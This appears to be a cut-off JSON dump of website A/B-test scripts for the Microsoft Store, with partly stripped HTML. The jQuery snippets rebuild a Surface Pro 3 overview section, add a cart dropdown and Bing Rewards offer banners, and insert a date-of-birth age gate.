    ',\n\t\t\t\t\t\t\t\t\t\t'Overview',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'Tech specs',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'Ratings and reviews',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'',\n\t\t\t\t'
    '].join('\\n');\n\n//Update all hidden navs\n/*\n$('.nav-wrap').each(function(){\n $(this).html(tabSlider);\n $(this).addClass('exp-hide-item');\n});\n$('.nav-wrap:eq(0)').removeClass('exp-hide-item').addClass('exp-show-item');\n\n$(window).scroll(function () {\n\tif($('.navWrapPlaceHolder:eq(0)').is(\":visible\") && !$('.nav-wrap-slider').hasClass('stuck')){\n\t\t$('.nav-wrap-slider').addClass('stuck');\n\t}\n\telse if(!$('.navWrapPlaceHolder:eq(0)').is(\":visible\")){\n\t\t$('.nav-wrap-slider').removeClass('stuck');\n\t}\n});\n*/\n\n\n//Overview Section\n\n$('#overview').html('');\n\n$('#overview').prepend('

    Overview

    ');\n\nvar insaneNotesTitle = \"Note-worthy\",\n insaneNotesDesc = \"Taking notes has never been this easy. Or fun. Type notes just like you would on a laptop, or handwrite them as naturally as you would on paper with the included Surface Pen. Use OneNote as your digital notebook and easily share your notes with classmates. You can even record lectures with the rear-facing 5MP camera while you type on the split screen.\";\n\n\nvar insaneNotes = ['
    ',\n\t'
    ',\n\t\t'
    ', \n\t\t\t'
    ',\n\t\t\t'
    ', \n\t\t\t'
    ', \n\t\t\t'
    ', \n '
    ', \n\t\t\t\t'
    ', \n\t\t\t\t\t'

    ' + insaneNotesTitle + '

    ', \n\t\t\t\t\t'

    ' + insaneNotesDesc + '

    ', \n\t\t\t\t'
    ', \n\t\t\t'
    ',\n\t\t'
    ',\n\t'
    ',\n '
    ', \n '
    ',\n\t\t\t'
    ', \n\t\t\t\t'
    ', \n\t\t\t\t\t'

    ' + insaneNotesTitle + '

    ', \n\t\t\t\t\t'

    ' + insaneNotesDesc + '

    ', \n\t\t\t\t'
    ', \n\t\t\t'
    ', \n '
    ',\n '
    ',\n'
    '].join('\\n');\n\n$('#overview').append(insaneNotes);\n\nvar campusLegend = ['
    ',\n\t'
    ',\n\t\t'
    ',\n '
    ',\n '\"Surface', \n '
    ', \n '
    ', \n '
    ',\n '\"Surface', \n '
    ', \n\t\t\t\t'
    ', \n\t\t\t\t\t'

    Campus legend

    ', \n\t\t\t\t\t'

    From keeping you organized to helping you take insane notes, the versatile Surface Pro 3 makes life at school a breeze. Its 12-inch Full HD touchscreen can be used either as a laptop or tablet, making it perfect for schoolwork and play. Plus, it\\'s super-slim and featherlight — only 0.63 inches thin and 1.76 pounds — so it won\\'t slow you down when you\\'re on the go.

    ', \n '', \n '\"Campus',\n '',\n\t\t\t\t'
    ', \n\t\t\t'
    ',\n\t\t'
    ',\n\t'
    ',\n'
    '].join('\\n');\n\n$('#overview').append(campusLegend);\n\nvar upallnight = ['
    ',\n '
    ',\n '
    ', \n '
    ',\n '\"Surface', \n '
    ',\n '
    ',\n '
    ', \n\t'
    ',\n\t\t'
    ', \n '
    ', \n\t\t\t\t\t'
    ', \n\t\t\t\t\t'

    Up all night

    ', \n\t\t\t\t\t'

    With up to 9 hours of battery life, Surface Pro 3 stays charged for those all-night cram sessions. You might be wired, but it doesn\\'t have to be. It\\'s also great for those jam-packed days of back-to-back classes when you don\\'t have time to plug in. And when it\\'s time for some entertainment, you\\'ll have plenty of juice for cranking tunes and playing games for hours on end.

    ', \n\t\t\t\t'
    ', \n\t\t\t'
    ',\n\t\t\t'
    ',\n\t\t\t '\"Surface', \n\t\t\t'
    ', \n\t\t'
    ',\n\t'
    ',\n'
    '].join('\\n');\n\n$('#overview').append(upallnight);\n\n\n\n\nvar allwork = ['
    ',\n\t'
    ',\n\t\t'
    ', \n\t\t\t'
    ',\n '\"Surface',\n\t\t\t'
    ',\t\t\n\t\t\t'
    ', \n\t\t\t\t'
    ', \n\t\t\t\t\t'

    All Work? No way.

    ', \n\t\t\t\t\t'

    Have an hour free between classes? Entertain yourself with apps from the Windows Store. There are thousands to choose from. Surface Pro 3 is also great for playing games, streaming TV shows and movies and Skyping with family and friends back home.

    ', \n \t'
    ', \n\t\t\t'
    ',\n\t\t'
    ',\n\t'
    ',\n'
    '].join('\\n');\n\n$('#overview').append(allwork);\n\nvar creativityTitle = \"Unleash your creativity\",\n creativityDesc = \"Make it your mobile drawing studio. Use it to create movies. Design the next architectural masterpiece. Highlight PDFs directly on screen with the Drawboard app from the Windows Store. It\\'s got the muscle to run heavy-duty creative programs like AutoCAD, Adobe Creative Cloud, and many more. If you can dream it, you can build it with Surface Pro 3.\";\n\nvar creativity = ['
    ',\n\t//'',\n\t'
    ',\n\t\t'
    ', \n\t\t\t'
    ',\n\t\t\t\t'
    ', \n\t\t\t\t\t'

    ' + creativityTitle + '

    ', \n\t\t\t\t\t'

    ' + creativityDesc + '

    ', \n\t\t\t\t'
    ', \t\t\t\n\t\t\t'
    ', \n\t\t\t'
    ', \n\t\t\t'
    ', \n\t\t\t'
    ', \n\t\t\t'
    ',\n\t\t'
    ',\n\t'
    ',\n '
    ', \n '
    ',\n\t\t\t'
    ', \n\t\t\t\t'
    ', \n\t\t\t\t\t'

    ' + creativityTitle + '

    ', \n\t\t\t\t\t'

    ' + creativityDesc + '

    ', \n\t\t\t\t'
    ', \n\t\t\t'
    ', \n '
    ',\n '
    ', \n'
    '].join('\\n');\n\n$('#overview').append(creativity);\n\n\n\n\n\n$('#product-footer .grid-container').html(''); \n\nvar productFooter = ['

    *Valid April 27, 2014 until May 12, 2014, or while supplies last. Available in select Microsoft retail and online stores in US (including Puerto Rico). Valid with purchase of select Surface 2. Not valid on prior orders or purchases; cannot be transferred or otherwise redeemed for cash or gift cards. Not combinable with other offers. Price discount does not include taxes, shipping or other fees. Void where prohibited or restricted by law. Microsoft reserves the right to modify or discontinue offers at any time. Limit 3 per customer.

    ',\n '

    **Valid 10/22/2013 until 6/29/2014, or while supplies last. Available in select Microsoft retail and online stores in US (including Puerto Rico) and Canada. Excludes Surface Pro. Not valid on prior orders or purchases; cannot be transferred or otherwise redeemed for cash or gift cards. Not combinable with other offers. Taxes may apply. Void where prohibited or restricted by law.

    ',\n '

    1 Netflix subscription required.

    ',\n '

    2 Subscription required for Netflix and Hulu Plus.

    ',\n '

    3 Games sold separately.

    ',\n '

    4 Battery life for other uses varies significantly with settings and usage.

    ',\n '

    5 Adapter required; sold separately.

    ',\n '

    6 Offer code must be redeemed within 90 days from original purchase, and no later than December 31, 2014. See skydrive.com/surface for details.

    ',\n '

    7 Calling is to select countries and lines only, excludes special, premium and non-geographic numbers and a fair usage policy applies. Internet access fees may vary when not on a Skype WiFi supported hotspot. Offer code must be redeemed within 90 days from original purchase, and no later than December 31, 2014. Skype\\' Terms of Use apply. See www.skype.com/surface for details.

    '].join('\\n');\n\n$('#product-footer .grid-container').html(productFooter);\n\n\n\n/* Capacitive Pen Popup Video */\n//Config Vars\nvar popupVideo1Sources = 'http://img3.store.microsoft.com/content/video/en-INTL_Surface_2_32GB_P3W-00001/en-INTL_Surface_2_32GB_P3W-00001_VID3.mp4;http://img3.store.microsoft.com/content/video/en-INTL_Surface_2_32GB_P3W-00001/en-INTL_Surface_2_32GB_P3W-00001_VID3.webm;showcase://09d99e81-04a8-40dc-acce-c638a818684b',\n popupVideo1ThumbnailURL = '',\n popupVideo1PosterURL = 'http://dri2.img.digitalrivercontent.net/Storefront/Company/msintl/images/English/en-INTL_Surface_2_32GB_P3W-00001/en-INTL_L_Surface_2_32GB_P3W-00001_VID1.jpg';\n\n\n//Object for new video\nvar popupvideo1HeroHTML = ['
  • ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'\"Click',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'
  • '].join('\\n');\n\n//Create thumbnail URL\nvar popupVideo1ThumbnailHTML = ['
  • ',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t'\"Alternate',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'
  • '].join('\\n');\n\n\n/* Popup HTML */\n\tvar popupVideo1Compiled = [''].join('\\n');\n\n\nvar popupVideo2 = ['
    '].join('\\n');\n\n\n\njQuery('section.campuslegend a.elp-player').on('click', function (e) {\n e.preventDefault();\n \n jQuery.magnificPopup.open({\n type: 'inline',\n modal: true,\n items: [{\n type: 'inline',\n src: popupVideo2\n }],\n callbacks: {\n open: function () {\n jQuery(\".elp-gallery-source.experiment .video-container\").videoPlayer({ preload: 'none' });\n //jQuery('.elp-gallery-source.experiment .product-thumbnails').setThumbnailsClickHandlers();\n }\n },\n removalDelay: 300,\n mainClass: 'mfp-enable-zoom'\n\n });\n});"},"2518680021":{"code":"$('.cart').wrap('
    ');\n\nvar expMouseOverCart = false;\n\njQuery('.cart').on('mouseenter', function(){\n window.expMouseOverCart = true;\n}).on('mouseleave', function(){\n window.expMouseOverCart = false;\n});\n\nvar cartDropdown = ['
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t'

    Items in your cart

    ',\n '',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    '].join('\\n');\n\n$('.desktop-cart-menu-container').append(cartDropdown);\n\n\n/* Click events */\n//Hide cart menu when opening sign in menu\njQuery('#desktop-sign-in-menu').on('click.hidecartmenu', function(){\n jQuery('.cart').removeClass('active');\n jQuery('#desktop-cart-menu-links').removeClass('opened displaying');\n});\n\n\n\n/* Logic to Load Items in Cart */\nvar initCounter = 0;\n\nfunction createCartDropdown(){\n\tvar cartItems = parseFloat($('header .cart .lineItemQuantity').text()),\n\t\tstorageItem = (sessionStorage.getItem('expCartItems') ? sessionStorage.getItem('expCartItems').split(',') : '');\n\t\n\tvar getCartItems = function(){\n\t\tjQuery.ajax({\n\t\t url: 'http://www.microsoftstore.com/store?Action=DisplayPage&Env=BASE&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage',\n\t\t success: function(data){\n\t\t\tvar html = data,\n\t\t\t\tdataArray = [],\n\t\t\t\ttmpString;\n\t\t\t\n\t\t\tjQuery(html).find('.cart-item-container .cart-item').each(function(){\n\t\t\t\ttmpString = $('.image-container .product-image', this).attr('src') + '|';\n\t\t\t\ttmpString += $('.product-details .title', this).attr('href') + '|';\n\t\t\t\ttmpString += ($('.product-details .title', this).text() ? $('.product-details .title', this).text() : $('.product-details .product-wrapper > div:eq(0)', this).text()) + '|';\n\t\t\t\t\n\t\t\t\tdataArray.push(tmpString);\n\t\t\t});\n\t\t\t\t\n \n \t\t\t\t//Remove loading icon\n jQuery('#desktop-cart-menu-links .list-of-links .loading-image').remove();\n\t\t\t\t\n //Add results to dropdown\n for(i = 0;i < dataArray.length;i++){\n\t\t\t\t\tmetaData = dataArray[i].split('|');\n\t\t\t\t\n\t\t\t\t\taddItemToCart(metaData[0], metaData[1], metaData[2]);\n\t\t\t\t}\n \n \n /* Click Events */\n $('.cart').prop('href','javascript:void(0);');\n \n jQuery('.cart').on('mouseenter.togglenav', function(){\n\n //Close open sign in menu\n $('#desktop-sign-in-menu').removeClass('active');\n $('#desktop-sign-in-menu-links').removeClass('displaying opened');\n\n //Show cart dropdown\n jQuery(this).addClass('active');\n jQuery('#desktop-cart-menu-links').removeClass('close-animation').addClass('opened displaying');\n });\n\n\n jQuery('#desktop-cart-menu-links').on('mouseleave.togglenav', function(){\n if(!window.expMouseOverCart){\n jQuery('#desktop-cart-menu-links').addClass('close-animation');\n\n\n jQuery('#desktop-cart-menu-links').on('transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd', function(e){\n //Hide cart dropdown\n jQuery('.cart').removeClass('active');\n jQuery('#desktop-cart-menu-links').removeClass('opened displaying close-animation');\n\n //Remove monitor\n jQuery('#desktop-cart-menu-links').off('transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd');\n }); \n };\n }); \n \n \n \n\t\t\t\t//sessionStorage.setItem('expCartItems', dataArray);\n\t\t\t\t\n\t\t\t\t//createCartDropdown();\n\t\t }\n\t\t});\n\t};\n\t\n\tvar addItemToCart = function(image, url, title){\n\t\t//Add HTML here once you have design\n\t\t$('#desktop-cart-menu-links .list-of-links ul').append('
  • ' + (url != 'undefined' ? ('') : ('')) + '
    ' + (url != 'undefined' ? ('' + title + '') : title) + '
  • ');\n\t};\n\t\n\tif(storageItem){\n\t\tvar storedArray = storageItem,\n\t\t\ti,\n\t\t\tmetaData;\n\t\n\t\tjQuery.getJSON('/store/' + inputVariables.storeData.page.siteid + '/' + inputVariables.storeData.page.locale + '/DisplayPage/id.DRCartSummaryJSONPage/output.json/jsonp=?', function(cartJsonData){\n \n\t\t\t//if(cartJsonData.lineItems == storedArray.length){\n \n //Remove loading icon\n jQuery('#desktop-cart-menu-links .list-of-links .loading-image').remove();\n\t\t\t\t\n //Add results to dropdown\n for(i = 0;i < storedArray.length;i++){\n\t\t\t\t\tmetaData = storedArray[i].split('|');\n\t\t\t\t\n if(metaData[2]){\n\t\t\t\t\t\taddItemToCart(metaData[0], metaData[1], metaData[2]);\n };\n\t\t\t\t}\n \n \n /* Click Events */\n $('.cart').prop('href','javascript:void(0);');\n \n jQuery('.cart').on('mouseenter.togglenav', function(){\n\n //Close open sign in menu\n $('#desktop-sign-in-menu').removeClass('active');\n $('#desktop-sign-in-menu-links').removeClass('displaying opened');\n\n //Show cart dropdown\n jQuery(this).addClass('active');\n jQuery('#desktop-cart-menu-links').removeClass('close-animation').addClass('opened displaying');\n });\n\n\n jQuery('#desktop-cart-menu-links').on('mouseleave.togglenav', function(){\n if(!window.expMouseOverCart){\n jQuery('#desktop-cart-menu-links').addClass('close-animation');\n\n\n jQuery('#desktop-cart-menu-links').on('transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd', function(e){\n //Hide cart dropdown\n jQuery('.cart').removeClass('active');\n jQuery('#desktop-cart-menu-links').removeClass('opened displaying close-animation');\n\n //Remove monitor\n jQuery('#desktop-cart-menu-links').off('transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd');\n }); \n };\n }); \n \n\t\t\t//}\n\t\t\t//else{\n\t\t\t\t//sessionStorage.removeItem('expCartItems');\n\t\t\t\t//createCartDropdown();\n\t\t\t//};\n\t\t})\n\t}\n\telse if(initCounter < 5 && !storageItem){\n\t\tinitCounter ++;\n\t\tgetCartItems();\n\t}\n\telse{\n //Remove loading icon\n jQuery('#desktop-cart-menu-links .list-of-links .loading-image').remove();\n \n\t\t$('#desktop-cart-menu-links .list-of-links ul').append('
  • No Items In Cart
  • ');\n\t}\n\t\n};\n\n//Init code\nsetTimeout(function(){\n\tcreateCartDropdown(); \n}, 500);"},"2444130316":{"code":"$(function(){\n $('body').addClass('exp-comp-chart-1253');\n $('.sticky-nav .nav-arrow-links .link-with-arrow:eq(1)').attr('href', 'http://www.microsoftstore.com/store/msusa/html/pbpage.OfficeCompare');\n $('.sticky-nav .nav-arrow-links .link-with-arrow:eq(1)').prop('target', '_blank');\n});"},"2220401112":{},"2207684058":{"code":"$(\".buySpan_AddtoCart\").append(\"
    \\n \\n

    Get Free expedited shipping when you sign up for Bing Rewards.
    Sign-up is free during checkout.

    \\n
    \");\n$(\"section.ratings\").prepend(\"
    \\n

    Rewards

    \\n\\n\\n\\n

    Free to join. Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn credits when you search on Bing and through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n\\n

    You also get:

    \\n
      \\n
    • \\n

      \\n \\\"lorem

      \\n

      Free 2-day shipping: Get free expedited shipping on all orders over $75 until November 23, 2014.

      \\n
    • \\n
    • \\n

      \\n \\\"lorem

      \\n

      Exclusive deals: Get exclusive offers and product announcements delivered right to your inbox (coming soon).

      \\n
    • \\n \\n
    \\n\\n

    How do I sign up?

    \\n

    At checkout you can sign up for Bing Rewards before you complete your purchase.

    \\n

    \");\n$(\".hero-box\").append(\"
    ...
    \");\n$(\"#optimizely_168095494\").replaceWith(\"
    \");"},"2223000029":{"code":"var sku = \"CWF-01852\";\n$('body').append('');\n\n function getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n }\n\n function getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n }\n\n function crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n }\n\n function omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n }\n\n function verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n }\n\n function tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n }\n\n function loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n var obj = user.Offers[i];\n if (obj.Attributes.MSStoreSku) {\n if (obj.Attributes.MSStoreSku == sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n\n displayOffer(offerTitle, offerDescription);\n }\n }\n }\n }\n }\n\n function displayOffer(title, desc) {\n var html = \"
    \\n \\n

    {0}
    {1}
    Not a member? Sign-up is free at checkout.

    \\n
    \";\n html = html.replace(\"{0}\", \"Earn 3000 Bing Rewards credits\");\n html = html.replace(\"{1}\", \"For a limited time, Bing Rewards members earn credits when purchasing this product. Credits can be redeemed for gift cards, services, and sweepstakes entries.\");\n //jQuery(\"#product-footer .grid-container\").append(\"

    1 Valid for Bing Rewards members who order a qualifying Microsoft Store online product between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");\n\n\n jQuery(\".buySpan_AddtoCart\").append(html);\n jQuery(\".product-tab-content\").append(\"
    \\n
    \\n

    Rewards

    \\n
    \\n\\n\\n
    \\n\\n \\\"Any\\n
    \\n\\n
    \\n\\n
    \\n

    It's free to join

    \\n

    Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn Bing Rewards credits when you purchase qualifying products on Microsoft online store, search on Bing through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n
    \\n
    \\n
    \\n\\n
    \\n\\n
    \\n
    \\n \\\"Image\\n\\n

    How do I sign up?

    \\n

    On the cart page during check-out, you can enroll for free. Your rewards account will be associated with your Microsoft Account.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    How do I get the Bing Rewards credits?

    \\n

    For qualifying products, bonus credits are awarded with purchase. For qualifying products, Bing Rewards credits are awarded with purchase. After your product ships, your credits will be deposited into your Bing Rewards account within 5 days.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    What can credits be used for?

    \\n

    Credits can be redeemed for things like 100GB of OneDrive storage (500 credits), Starbucks gift card (525 credits), 1 month Xbox Live Gold membership (699 credits).

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \");\n }\n\n getRewardsUserInfo(loadCreditsOffer);"},"2437691360":{"code":"setTimeout(doStuff, 3000);\n\nfunction doStuff(){\n var variationNumber = 4;\n\n$('.variation-container ul.option-list li').removeClass(\"active\");\n$('.variation-container ul.option-list li').eq(variationNumber).addClass(\"active\");\n\n\n$('.pdp-cta div').addClass(\"hide-option\");\n$('.pdp-cta div').eq(variationNumber).removeClass(\"hide-option\");\n\n$('.price-block').addClass(\"hide-option\");\n$('.price-block').eq(variationNumber).removeClass(\"hide-option\");\n\n$('.product-data-container .title-block').addClass(\"hide-option\");\n$('.product-data-container .title-block').eq(variationNumber).removeClass(\"hide-option\");\n\nvar variationText = $('.product-data-container .title-block').eq(variationNumber).find('h1').text();\n\n$('.variation-container p span').text(variationText);\n\n \n}"},"2341180240":{},"2514960354":{},"2438650855":{"code":"$(function(){\n $('body').addClass('exp-rr-358');\n poll(1);\n});\nfunction poll($tryCount){\n if($tryCount >= 10){\n return;\n }\n $tryCount++;\n if($('.product-data-container .bv-text-link').length && $('.product-data-container .bv-text-link').text().indexOf(\"See reviews\") == -1 && $('.product-data-container .bv-text-link').text().indexOf(\"(0)\") == -1 ){\n $('.product-data-container .bv-text-link').text($('.product-data-container .bv-text-link').text() + \"See reviews\");\n return;\n }\n setTimeout(function(){\n poll($tryCount);\n }, 1500);\n}"},"2173480188":{"code":"$('html').addClass('experiment-product-visibility exp-variation1');"},"2405880299":{"code":"$(function(){ \n $('body').addClass('exp-age-gate-958').addClass('exp-age-gate-856'); \n $('.hero-box').addClass('exp-age-gate-back');\n $('.hero-box').after('
    ');\n $('.exp-age-gate').attr('class', 'exp-age-gate ' + $('.hero-box').attr('class'));\n $('.exp-age-gate').removeClass('exp-age-gate-back');\n $('.exp-age-gate-back .product-data-container').children().appendTo($('.exp-age-gate .grid-container .buy-box .product-data-container'));\n $('.exp-age-gate').css('top', jQuery('.exp-age-gate-back').offset().top);\n $('.exp-age-gate').css('left', jQuery('.exp-age-gate-back').offset().left);\n $('.exp-age-gate .product-data-container').css('left', jQuery('.exp-age-gate-back .product-data-container').offset().left);\n $('.exp-age-gate-back .product-data-container').css('height',jQuery('.exp-age-gate .product-data-container').height());\n $('.exp-age-gate .product-data-container').css('width', jQuery('.exp-age-gate-back .product-data-container').width());\n var $ageGateContainer = $(\".age-gate-container\");\n if($ageGateContainer.length === 0){\n return;\n }\n var userAge = Store.tryGetCookie('msstore_age');\n if (userAge === null) {\n var $months = new Array(12);\n $months[0] = \"January\";\n $months[1] = \"February\";\n $months[2] = \"March\";\n $months[3] = \"April\";\n $months[4] = \"May\";\n $months[5] = \"June\";\n $months[6] = \"July\";\n $months[7] = \"August\";\n $months[8] = \"September\";\n $months[9] = \"October\";\n $months[10] = \"November\";\n $months[11] = \"December\";\n var $ageGateControl = '

    Enter your date of birth.

    ';\n $ageGateControl = $ageGateControl + '';\n $ageGateControl +='';\n $ageGateControl = $ageGateControl + '';\n $ageGateControl = $ageGateControl + '';\n $ageGateControl = $ageGateControl + '
    ';\n $($ageGateControl).insertBefore('.onesite-header');\n jQuery('select', '.expAgeBanner').on(\"change\", function () {\n if ($('.expAgeBanner .day').val() !== \"-1\" && $('.expAgeBanner .month').val() !== \"-1\" && $('.expAgeBanner .year').val() !== \"-1\") {\n $('.expAgeBanner .submit').removeAttr(\"disabled\").addClass(\"blue\");\n }\n else {\n $('.expAgeBanner .submit').removeAttr(\"blue\").addClass(\"disabled\");\n }\n });\n var age;\n jQuery(\".submit\", '.expAgeBanner').on(\"click\", function () {\n var today = new Date();\n var userBirthDate = new Date($('.expAgeBanner .year').val(), $('.expAgeBanner .month').val(), $('.expAgeBanner .day').val());\n age = today.getFullYear() - userBirthDate.getFullYear();\n var monthSpan = today.getMonth() - userBirthDate.getMonth();\n var dateSpan = today.getDate() - userBirthDate.getDate();\n if (monthSpan < 0 || (monthSpan === 0 && dateSpan < 0)) {\n age--;\n }\n var minRequiredAge = $('[data-agegate]').data(\"agegate\");\n var isValidUser = age >= minRequiredAge;\n if (isValidUser) {\n $('body').removeClass('exp-age-gate-958');\n $('.expAgeBanner').addClass('exp-age-gate-958-hide');\n $('.exp-age-gate').css('display','none');\n $('.exp-age-gate .product-data-container').children().appendTo('.exp-age-gate-back.hero-box .product-data-container');\n $('.age-gate-back .media-container ').after($('.product-data-container'));\n $('.exp-age-gate-back').removeClass('.exp-age-gate-back');\n }\n else {\n $('.expAgeBanner .exp-wrapper p').remove();\n $('.expAgeBanner .exp-wrapper .date-picker').remove();\n $('.expAgeBanner .exp-wrapper').append('

    Sorry, you cannot view this product.

    ');\n }\n stickyAddToCart().init();\n Store.saveCookie('msstore_age', userAge);\n });\n }\n else{\n $('body').removeClass('exp-age-gate-958');\n $('.expAgeBanner').addClass('exp-age-gate-958-hide'); \n $('.exp-age-gate .product-data-container').children().appendTo('.exp-age-gate-back .product-data-container');\n $('.exp-age-gate').css('display','none');\n $('.age-gate-back .media-container ').after($('.product-data-container'));\n }\n});\njQuery('.exp-age-gate .product-data-container').on('resize', function(){\n if($('body').hasClass(\"exp-age-gate-958\")){\n $('.exp-age-gate-back .product-data-container').css('height',jQuery('.exp-age-gate .product-data-container').height());\n $('.exp-age-gate .product-data-container').css('width', jQuery('.exp-age-gate-back .product-data-container').width());\n $('.exp-age-gate').css('top', jQuery('.exp-age-gate-back').offset().top);\n $('.exp-age-gate').css('left', jQuery('.exp-age-gate-back').offset().left);\n $('.exp-age-gate .product-data-container').css('left', jQuery('.exp-age-gate-back .product-data-container').offset().left);\n }\n});\njQuery(window).resize(function(){\n if($('body').hasClass(\"exp-age-gate-958\")){\n $('.exp-age-gate-back .product-data-container').css('height',jQuery('.exp-age-gate .product-data-container').height());\n $('.exp-age-gate .product-data-container').css('width', jQuery('.exp-age-gate-back .product-data-container').width());\n $('.exp-age-gate').css('top', jQuery('.exp-age-gate-back').offset().top);\n $('.exp-age-gate').css('left', jQuery('.exp-age-gate-back').offset().left);\n $('.exp-age-gate .product-data-container').css('left', jQuery('.exp-age-gate-back .product-data-container').offset().left);\n}\n});\njQuery(document).ajaxComplete(function(){\n if($('body').hasClass(\"exp-age-gate-958\")){\n $('.exp-age-gate-back .product-data-container').css('height',jQuery('.exp-age-gate .product-data-container').height());\n $('.exp-age-gate .product-data-container').css('width', jQuery('.exp-age-gate-back .product-data-container').width());\n $('.exp-age-gate').css('top', jQuery('.exp-age-gate-back').offset().top);\n $('.exp-age-gate').css('left', jQuery('.exp-age-gate-back').offset().left);\n $('.exp-age-gate .product-data-container').css('left', jQuery('.exp-age-gate-back .product-data-container').offset().left);\n }\n});"},"2185290221":{},"2388230127":{},"2433710419":{"code":"$(function(){\n $('body').addClass('exp-comp-chart-1253');\n $('.sticky-nav .nav-arrow-links .link-with-arrow:eq(1)').addClass('exp-comp-chart-1253-hide');\n});"},"2158562292":{"code":"$('html').addClass('experiment-product-visibility exp-variation2');"},"2590940150":{"code":"$('body').addClass('exp-officecompare-toggler-v2');\n\n//Remove old table\n$('section.office-compare').html('');\n\n\n//Add new table\n\nvar tableToggler = ['
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n 'For PC',\n 'For Mac',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
